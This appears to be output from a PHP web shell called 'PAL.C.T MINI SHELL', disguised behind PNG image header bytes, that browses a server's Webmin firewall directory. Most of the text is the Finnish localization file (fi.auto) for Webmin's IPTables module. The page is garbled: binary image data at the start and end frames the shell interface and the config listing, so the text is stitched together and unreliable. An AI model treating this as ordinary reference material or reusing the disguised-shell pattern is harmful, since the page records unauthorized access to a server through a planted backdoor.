php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/firewall/lang/
upload
files >> //usr/libexec/webmin/firewall/lang/fi.auto

index_title=Linux IPTables -palomuuri
index_title_v=IPv4-palomuuri
index_title_v6=IPv6-palomuuri
index_editing=Säännötiedosto $1 
index_ecommand=Komentoa $1 ei löydy järjestelmästäsi. Webmin tarvitsee tämän komennon IPtable-asetusten määrittämiseen.
index_ekernel=Virhe tarkistettaessa nykyistä IPtable-kokoonpanoa: $1 Tämä voi tarkoittaa, että ytimesi ei tue IPtable-sovelluksia.
index_header=Palomuurin kokoonpano $1 : stä
index_evalid=VAROITUS! Nykyinen IPtable -määrityksesi on virheellinen : $1 
index_change=Näytetään IP-taulukko:
index_chain_input=Saapuvat paketit (INPUT) - Koskee vain tälle isäntälle osoitettuja paketteja
index_chain_output=Lähtevät paketit (OUTPUT) - Koskee vain tämän isännän alkuperäisiä paketteja
index_chain_forward=Välitetyt paketit (Eteenpäin) - Koskee vain paketteja, jotka on välitetty tämän isännän kautta
index_chain_prerouting=Paketit ennen reititystä (UUDELLEEN)
index_chain_postrouting=Paketit reitityksen jälkeen (JATKUVA)
index_chain=Ketju $1 
index_action=Toiminta
index_desc=Kunto
index_comm=Kommentti
index_no_comment=
index_move=Liikkua
index_none=Tätä ketjua ei ole määritelty.
index_policy=Aseta oletustoimintoksi:
index_policy_accept=Hyväksyä
index_policy_drop=Pudota
index_policy_queue=userspace
index_policy_return=Poistu ketjusta
index_jump_accept=<font color=#00aa00>Hyväksy</font>
index_jump_drop=<font color=#ff0000>Pudota</font>
index_jump_reject=<font color=#ff4400>Hylkää</font>
index_jump_queue=<font color=#0000ff>Käyttäjätila</font>
index_jump_return=Poistu ketjusta
index_jump_log=Lokipaketti
index_jump_masquerade=Naamiaiset
index_jump_redirect=uudelleenohjaus
index_jump_dnat=Kohde NAT
index_jump_snat=Lähde NAT
index_jump_=Älä tee mitään
index_jump=Hyppää ketjuun $1 
index_radd=Lisää sääntö
index_cdelete=Poista ketju
index_crename=Nimeä ketju uudelleen
index_cclear=Poista kaikki säännöt
index_cdeletesel=Poista valitut
index_cmovesel=Siirrä valittu
index_cadd=Lisää uusi ketju nimeltä:
index_apply=Käytä määritystä
index_applydesc=Napsauta tätä painiketta, jos haluat aktivoida yllä mainitut palomuurimääritykset. Kaikki tällä hetkellä voimassa olevat palomuurisäännöt tyhjennetään ja korvataan
index_applydesc2=Napsauta tätä painiketta, jos haluat yllä mainitun palomuurimäärityksen olevan aktiivinen kaikissa klusterin palvelimissa. Kaikki tällä hetkellä voimassa olevat palomuurisäännöt tyhjennetään ja korvataan
index_unapply=Palauta kokoonpano
index_unapplydesc=Napsauta tätä painiketta, jos haluat palauttaa yllä luetellut kokoonpanot nykyisiksi.
index_unapply2=Tallenna kokoonpano
index_unapply2desc=Napsauta tätä painiketta, kun haluat tallentaa yllä olevat määritykset pysyvään palomuurin asetustiedostoon.
index_table_filter=Pakettien suodatus (suodatin)
index_table_nat=Verkko-osoitteen käännös (nat)
index_table_mangle=Pakettien muuttaminen (mangle)
index_existing=Webmin on havainnut $1 IPtable-palomuurisäännöt, joita tällä hetkellä käytetään, joita ei tallenneta tallennustiedostoon $2. Nämä säännöt luotiin todennäköisesti komentosarjasta, jota tämä moduuli ei osaa lukea ja muokata. <p> Jos haluat käyttää tätä moduulia IPtables-palomuurin hallintaan, napsauta alla olevaa painiketta muuntaaksesi olemassa olevat säännöt tallennetiedostoksi. ja poista sitten olemassa oleva palomuurikomentosarja.
index_saveex=Tallenna palomuurisäännöt
index_atboot=Ota palomuuri käyttöön käynnistyksen aikana?
index_headerex=Olemassa olevat palomuurin kokoonpanot
index_bootup=Aktivoi käynnistyksen yhteydessä
index_bootupdesc=Muuta tätä asetusta hallitaksesi onko palomuuri aktivoitu käynnistyksen yhteydessä vai ei.
index_return=sääntöluettelo
index_setup=IPtable-palomuuria ei ole vielä määritetty järjestelmään. Webmin voi asettaa yhden puolestasi tallennettavaksi tallennustiedostoon $1 alkuperäisten asetusten perusteella valitsemallasi palomuurityypillä alla.
index_rsetup=Järjestelmäsi IPtable-palomuurin kokoonpano on suunnitteilla uudelleen. Webmin asettaa uudet oletussäännöt, jotka tallennetaan tiedostoon $1, alkuperäisillä asetuksilla valitsemasi palomuurityypin alapuolella.
index_auto0=Salli kaikki liikenne
index_auto1=Suorita verkko-osoitteen käännös ulkoisella käyttöliittymällä:
index_auto2=Estä kaikki ulkoisen rajapinnan tulevat yhteydet:
index_auto3=Estä kaikki paitsi SSH ja IDENT ulkoisessa rajapinnassa:
index_auto4=Estä kaikki paitsi SSH, IDENT, ping ja korkeat portit käyttöliittymässä:
index_auto5=Estä kaikki paitsi virtuaaliseen isännöintiin käytetyt portit käyttöliittymässä
index_auto=Asenna palomuuri
index_add=Lisätä
index_shorewall=Näyttää siltä, että Shorewallia käytetään järjestelmän palomuurin luomiseen. Ehkä sinun pitäisi käyttää sen sijaan <a href='$1'>Shoreline-palomuurimoduulia</a>.
index_firewalld=Näyttää siltä, että FirewallD: tä käytetään järjestelmän palomuurin luomiseen. Ehkä sinun pitäisi käyttää sen sijaan <a href='$1'>FirewallD-moduulia</a>.
index_fail2ban=Näyttää siltä, että Fail2Ban-ohjelmaa käytetään joidenkin palomuurisääntöjen hallintaan. Sinun tulisi muokata niitä <a href='$1'>Fail2Ban-moduulilla</a> ja suodattaa <a href=$2>f2b -. *</a> tai <a href=$2>fail2ban -. *</a>.
index_filter_chain=ei ole palomuurin hallinnassa.
index_filter_nodirect=Ulkoiset hallitut säännöt havaittu. Aktivoi "<a href=$1>Muokkaa palomuurisääntöjä suoraan"</a> tai muuten palomuurisäännöt voivat rikkoutua.
index_reset=Palauta palomuuri
index_resetdesc=Napsauta tätä painiketta, jos haluat tyhjentää kaikki olemassa olevat palomuurisäännöt ja asettaa uudet säännöt alkuperäiselle peruskonfiguraatiolle.
index_cluster=Klusteripalvelimet
index_clusterdesc=Napsauta tätä painiketta, jos haluat asettaa muita Webmin-palvelimia, joihin palomuurin määritykset kopioidaan automaattisesti.
index_ipset=IP-set
index_ipset_title=Aktiiviset IP-sarjat, joita palomuurisäännöt voivat käyttää
index_ipset_name=IP-sarjan nimi
index_ipset_type=Tyyppi
index_ipset_elem=# Elementit
index_ipset_maxe=# Max
index_ipset_size=Koko
index_ipvxmode=Vaihda IP-protokollan versio:
index_ipvx4=IPv4
index_ipvx6=IPv6

desc_p=protokolla on $1 
desc_p!=protokolla ei ole $1 
desc_s=lähde on $1 
desc_s!=lähde ei ole $1 
desc_d=kohde on $1 
desc_d!=kohde ei ole $1 
desc_i=syöttörajapinta on $1 
desc_i!=syöttörajapinta ei ole $1 
desc_o=lähtöliitäntä on $1 
desc_o!=lähtöliitäntä ei ole $1 
desc_f=paketti on fragmentti
desc_f!=paketti ei ole fragmentti
desc_sport=lähdeportti on $1 
desc_sport!=lähdeportti ei ole $1 
desc_dport=kohdesatama on $1 
desc_dport!=kohdesatama ei ole $1 
desc_sports=lähdeportit ovat $1 
desc_sports!=lähdeportit eivät ole $1 
desc_dports=kohdesatamat ovat $1 
desc_dports!=määräsatamat eivät ole $1 
desc_tcp-flags=TCP-liput $2 ($1 : stä) on asetettu
desc_tcp-flags!=TCP-lippuja $2 (/ $1) ei ole asetettu
desc_tcp-option=paketti käyttää TCP-vaihtoehtoa $1 
desc_tcp-option!=paketti ei käytä TCP-vaihtoehtoa $1 
desc_icmp-type=ICMP-tyyppi on $1 
desc_icmp-type!=ICMP-tyyppi ei ole $1 
desc_icmpv6-type=ICMP-tyyppi on $1 
desc_icmpv6-type!=ICMP-tyyppi ei ole $1 
desc_mac-source=Ethernet-osoite on $1 
desc_mac-source!=Ethernet-osoite ei ole $1 
desc_limit=korko on alle $1 
desc_limit!=korko on yli $1 
desc_limit-burst=purskenopeus on alle $1 
desc_limit-burst!=purskeprosentti on yli $1 
desc_ports=lähde- ja kohdeportit ovat $1 
desc_ports!=lähde- ja kohdesatamat eivät ole $1 
desc_uid-owner=lähettäjä on käyttäjä $1 
desc_uid-owner!=lähettäjä ei ole käyttäjä $1 
desc_gid-owner=lähettäjä on ryhmä $1 
desc_gid-owner!=lähettäjä ei ole ryhmä $1 
desc_pid-owner=lähettäjän prosessitunnus on $1 
desc_pid-owner!=lähettäjän prosessitunnus ei ole $1 
desc_sid-owner=lähettäjän istuntoryhmä on $1 
desc_sid-owner!=lähettäjän istuntoryhmä ei ole $1 
desc_state=yhteyden tila on $1 
desc_state!=yhteyden tila ei ole $1 
desc_ctstate=yhteyden tila on $1 
desc_ctstate!=yhteyden tila ei ole $1 
desc_tos=palvelukentän tyyppi on $1 
desc_tos!=palvelukentän tyyppi ei ole $1 
desc_match-set=$2 vastaa IP-sarjaa $1
desc_match-set!=$2 ei vastaa IP-sarjaa $1
desc_match-set_src=saapuva liikenne
desc_match-set_dst=lähtevä liikenne
desc_physdev-in=sisääntulon fyysinen rajapinta on $1 
desc_physdev-in!=syöttö fyysinen rajapinta ei ole $1 
desc_physdev-out=ulostulon fyysinen rajapinta on $1 
desc_physdev-out!=ulostulon fyysinen rajapinta ei ole $1 
desc_conds=Jos $1 
desc_and=ja
desc_always=Aina
desc_args--match-set=$2 sisältyy IP-joukkoon $1 
desc_src=lähde
desc_dest=määränpää

redhat_einstalled=<tt>iptables (6)</tt> -käynnistystoimintoa ei löytynyt, mikä osoittaa, että IPtable-pakettia ei ole asennettu järjestelmään
redhat_eoutput=IPtable-tilan saamisessa komennosta $1 tapahtui virhe. Tämä luultavasti osoittaa, että järjestelmäsi on määritetty käyttämään IP-ketjuja IPtaulujen sijasta.

gentoo_escript=Gentoo IPtables -aloitusohjelmaa $1 ei löydy järjestelmästäsi.

eiptables=Tuntemattomat IP-taulukot tallentavat tiedostojonon : $1 
eip6tables=Tuntemattomat ip6table-tiedostot tallentavat tiedostojonon : $1 

edit_title1=Lisää sääntö
edit_title2=Muokkaa sääntöä
edit_title3=Kloonisääntö
edit_header1=Ketju ja toiminnan yksityiskohdat
edit_chain=Osa ketjua
edit_cmt=Sääntökommentti
edit_jump=Suoritettavat toimet
edit_jump_other=Run ketju
edit_header2=Kunnon yksityiskohdat
edit_desc=Edellä valittu toiminto suoritetaan vain, jos <b>kaikki</b> ehdot täyttyvät.
edit_source=Lähdeosoite tai verkko
edit_ignore=huomiotta
edit_is=equals
edit_not=Ei vastaa
edit_dest=Kohdeosoite tai verkko
edit_in=Tuleva käyttöliittymä
edit_out=Lähtevä käyttöliittymä
edit_frag=pirstoutuminen
edit_fragis=On pirstoutunut
edit_fragnot=Ei ole pirstoutunut
edit_proto=Verkkoprotokolla
edit_sport=Lähde TCP- tai UDP-portti
edit_dport=Kohde-TCP tai UDP-portti
edit_port0=Portti (t)
edit_port1=Porttialue $1 - $2 
edit_ports=Lähde- ja määräsatamat
edit_tcpflags=TCP-liput asetettu
edit_flags=$2 $1 : stä
edit_tcpoption=TCP-vaihtoehdon numero on asetettu
edit_icmptype=ICMP-paketti
edit_mac=Ethernet-osoite
edit_limit=Pakettien virtausnopeus
edit_below=Alla
edit_above=Edellä
edit_limitburst=Pakettien pursketaajuus
edit_uidowner=Lähetetään unix-käyttäjä
edit_gidowner=Lähetetään unix-ryhmä
edit_pidowner=Lähetetään prosessitunnus
edit_sidowner=Lähetetään prosessoryhmä
edit_state=Yhteystilat
edit_state_new=Uusi yhteys
edit_state_established=Olemassa oleva yhteys
edit_state_related=Liittyy olemassa olevaan
edit_state_invalid=Ei osa mitään yhteyttä
edit_state_untracked=Ei seurattu
edit_state_snat=Lähde NATd
edit_state_dnat=Kohde NATd
edit_tos=Palvelun tyyppi
edit_rtoports=Kohdeportit uudelleenohjausta varten
edit_prange=Porttialue $1 - $2 
edit_mtoports=Lähdeportit naamiointiin
edit_dnat=IP: t ja portit DNAT: lle
edit_dnatip=IP-alue $1 - $2 
edit_snat=IP: t ja portit SNAT: lle
edit_any=Minkä tahansa
edit_oifc=Muut ..
edit_clone=Kloonisääntö
edit_before=Ennen sääntöä $1 
edit_after=Säännön $1 jälkeen
edit_args=Lisäparametrit
edit_mods=Muut IPtable-moduulit
edit_rwith=Hylkää ICMP-tyypillä
edit_rwithtype=Kirjoita $1 
edit_physdevin=Tuleva fyysinen käyttöliittymä
edit_physdevout=Lähtevä fyysinen käyttöliittymä
edit_physdevisin=Paketti saapuu siltarajapinnalla
edit_physdevisout=Pakettien lähtevä siltarajapinnalla
edit_physdevisbridged=Paketti on sillassa
edit_matchset=Vastaava IPset
edit_matchsetsrc=saapuvassa liikenteessä
edit_matchsetdst=lähtevästä liikenteestä

save_err=Säännön tallentaminen epäonnistui
save_echain=Puuttuva tai virheellinen ketju käynnissä
save_esource=Puuttuva tai virheellinen lähdeosoite tai verkko
save_edest=Puuttuva tai virheellinen kohdeosoite tai verkko
save_ein=Puuttuva tai virheellinen saapuva käyttöliittymä
save_eout=Puuttuva tai virheellinen lähtevä käyttöliittymä
save_eproto=Protokollaa ei ole valittu
save_esport=Puuttuvat tai virheelliset lähdeportit
save_esportfrom=Lähdeporttien virheellinen aloitusalue
save_esportto=Lähdeporttien virheellinen alueen pää
save_esportrange=Sinun on syötettävä ainakin lähtöporttialueen alku tai loppu
save_etcpudp=Lähde- ja kohdeporttiolosuhteita voidaan käyttää vain, jos protokolla on TCP, UDP tai SCTP
save_edport=Puuttuvat tai virheelliset kohdeportit
save_edportfrom=Virheellinen alueen aloitus kohdesatamissa
save_edportto=Virheellinen alueen loppu kohdesatamissa
save_edportrange=Sinun on syötettävä ainakin kohdeporttialueen alku tai loppu
save_eports=Puuttuvat tai virheelliset lähde- ja kohdeportit
save_etcp1=TCP-lippu-ehtoa voidaan käyttää vain, jos protokolla on TCP
save_etcpflags=Sinun on valittava vähintään yksi TCP-lippu jokaisesta rivistä
save_etcpflags2=Sinun on valittava vähintään yksi TCP-lippu toisesta rivistä
save_etcp2=TCP-vaihtoehdon numero-ehtoa voidaan käyttää vain, jos protokolla on TCP
save_etcpoption=Puuttuva tai virheellinen TCP-vaihtoehdon numero
save_eicmp=ICMP-pakettityypin ehtoa voidaan käyttää vain, jos protokolla on ICMP
save_emac=Puuttuva tai virheellinen ethernet-osoite
save_elimit=Puuttuva tai virheellinen paketin virtausnopeus
save_elimitburst=Puuttuva tai virheellinen pakettipursketaajuus
save_euidowner=Puuttuva tai virheellinen lähettävä unix-käyttäjä
save_egidowner=Puuttuva tai virheellinen lähettävä unix-ryhmä
save_epidowner=Puuttuva tai virheellinen lähetysprosessin tunnus
save_esidowner=Puuttuva tai virheellinen lähetysprosessiryhmän tunnus
save_ertoports=Puuttuva tai virheellinen uudelleenohjausportti
save_emtoports=Puuttuva tai virheellinen naamiaislähteen portti
save_edipfrom=Puuttuva tai virheellinen aloitus-IP-osoite DNAT: lle
save_edipto=Virheellinen päättyvä IP-osoite DNAT: lle
save_edpfrom=Virheellinen aloitusportti DNAT: lle
save_edpto=Puuttuva tai virheellinen lopetusportti DNAT: lle
save_esipfrom=Puuttuva tai virheellinen aloitus-IP-osoite SNAT: lle
save_esipto=Virheellinen päättyvä IP-osoite SNAT: lle
save_espfrom=Virheellinen aloitusportti SNAT: lle
save_espto=Puuttuva tai virheellinen lopetusportti SNAT: lle
save_estates=Yhtään yhteystilaa ei ole valittu
save_ecanjump=Et voi käyttää tätä toimintoa
save_ephysdevin=Puuttuva tai virheellinen saapuva fyysinen käyttöliittymä
save_ephysdevout=Puuttuva tai virheellinen lähtevä fyysinen käyttöliittymä

delete_title=Poista ketju
delete_rusure=Haluatko varmasti poistaa ketjun $1 ? $2 sen säännöt poistetaan.
delete_ok=Poista nyt
delete_ecannot=Et voi poistaa ketjuja

clear_title=Tyhjennä ketju
clear_rusure=Haluatko varmasti poistaa kaikki $2 -säännöt ketjusta $1 ?
clear_ecannot=Ketjuja ei saa tyhjentää

new_err=Ketjun luominen epäonnistui
new_ename=Puuttuva tai virheellinen ketjun nimi
new_etaken=Ketju tällä nimellä on jo olemassa
new_ecannot=Et voi luoda ketjuja

apply_err=Asetusten määrittäminen epäonnistui
apply_ecannot=Et voi käyttää kokoonpanoa
apply_remote=Virhe $1 : $2 
unapply_err=Kokoonpanon palauttaminen epäonnistui
unapply_ecannot=Et voi palauttaa kokoonpanoa
bootup_ecannot=Palomuuria ei saa ottaa käyttöön tai poistaa käytöstä käynnistyksen yhteydessä

log_create_rule=Lisätty sääntö ketjuun $1 taulukossa $2 
log_modify_rule=Muokattu sääntö ketjussa $1 taulukossa $2 
log_delete_rule=Poistettu sääntö ketjusta $1 taulukosta $2 
log_move_rule=Siirretty sääntö ketjussa $1 taulukossa $2 
log_delete_chain=Poistettu ketju $1 taulukosta $2 
log_rename_chain=Uudelleen nimetty ketju $1 taulukossa $2 
log_clear_chain=Poistettu ketju $1 taulukossa $2 
log_create_chain=Luotu ketju $1 taulukkoon $2 
log_modify_chain=Aseta ketjun $1 oletustoiminto taulukossa $2 
log_delsel_chain=Poistettu $3 säännöt ketjusta $1 taulukosta $2 
log_movesel_chain=Siirretty $3 säännöt ketjusta $1 taulukosta $2 
log_apply=Sovellettu kokoonpano
log_unapply=Palautettu kokoonpano
log_setup=Asenna palomuuri
log_convert=Muunnettu olemassa oleva palomuuri
log_bootup=Ota palomuuri käyttöön käynnistyksen aikana
log_bootdown=Poistettu palomuuri käytöstä käynnistyksen yhteydessä
log_add_host=Lisätty klusteripalvelin $1 
log_add_group=Lisätty klusteripalvelimet ryhmästä $1 
log_delete_host=Ryhmäpalvelin $1 poistettu
log_delete_group=$1 klusteripalvelimet poistettu
log_openports=Avatut palomuuriportit $1 

setup_eiface=Ulkoista verkkoliitäntää ei annettu
setup_ecannot=Et voi määrittää palomuuria

acl_tables=Sallitut IP-taulukot
acl_apply=Voiko asetusta käyttää?
acl_unapply=Voiko konfiguraatiota poistaa?
acl_bootup=Voiko palomuurin ottaa käyttöön käynnistyksen yhteydessä?
acl_setup=Voiko palomuurin alkuasetukset suorittaa?
acl_cluster=Pystyykö hallitsemaan palomuuriklusteria?
acl_jumps=Sallitut toimet
acl_jall=Kaikki
acl_newchain=Voiko luoda uusia ketjuja?
acl_delchain=Voiko ketjut poistaa tai tyhjentää?
acl_policy=Voiko muuttaa oletuskäytäntöä?

etable=Et voi muokata tätä IP-taulukkoa
ejump=Et voi muokata tätä sääntöä
ecluster=Et voi hallita palomuuriklusteria

cluster_title=Klusteripalomuuripalvelimet
cluster_none=Palomuuriklusteriin ei ole vielä lisätty palvelimia.
cluster_host=hostname
cluster_desc=Kuvaus
cluster_os=Käyttöjärjestelmä
cluster_add=Lisää palvelin
cluster_gadd=Lisää palvelimia ryhmään
cluster_need=Sinun on lisättävä palvelimet, joilla on kirjautuminen ja salasana, Webmin Servers Index -moduuliin, ennen kuin niitä voidaan hallita täällä.
cluster_return=klusteripalvelimet
cluster_delete=Poista valitut

add_title=Lisää palvelimia
add_msg=Lisätään $1 ..
add_gmsg=Palvelimien lisääminen ryhmään $1 ..
add_err=Palvelimen lisääminen epäonnistui
add_gerr=Ryhmän lisääminen epäonnistui
add_echeck=Palvelimella $1 ei ole Linux-palomuurimoduulia
add_emissing=Palvelimelta $1 puuttuu palomuurikomento $2 
add_ok=Lisätty $1, $2 aktiivisilla palomuurisääntöillä.
add_enone=Ei lisättäviä palvelimia!

policy_ecannot=Et voi muuttaa tämän ketjun oletuskäytäntöä

move_title=Siirrä säännöt
move_count=Säännöt valittu
move_chain=Nykyinen muutos
move_dest=Kohdeketju
move_ok=Siirry nyt
move_header=Sääntöjen siirtoasetukset

rename_title=Nimeä ketju uudelleen
rename_count=Säännöt ketjussa
rename_chain=Nykyinen nimi
rename_name=Uusi nimi
rename_ok=Nimeä nyt uudelleen
rename_header=Ketjun nimeämisvaihtoehdot
rename_adjust=Muokkaa muita sääntöjä, jotka siirtyvät tähän ketjuun?
rename_none=Ei mitään
rename_ecannot=Ketjuja ei saa nimetä uudelleen
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`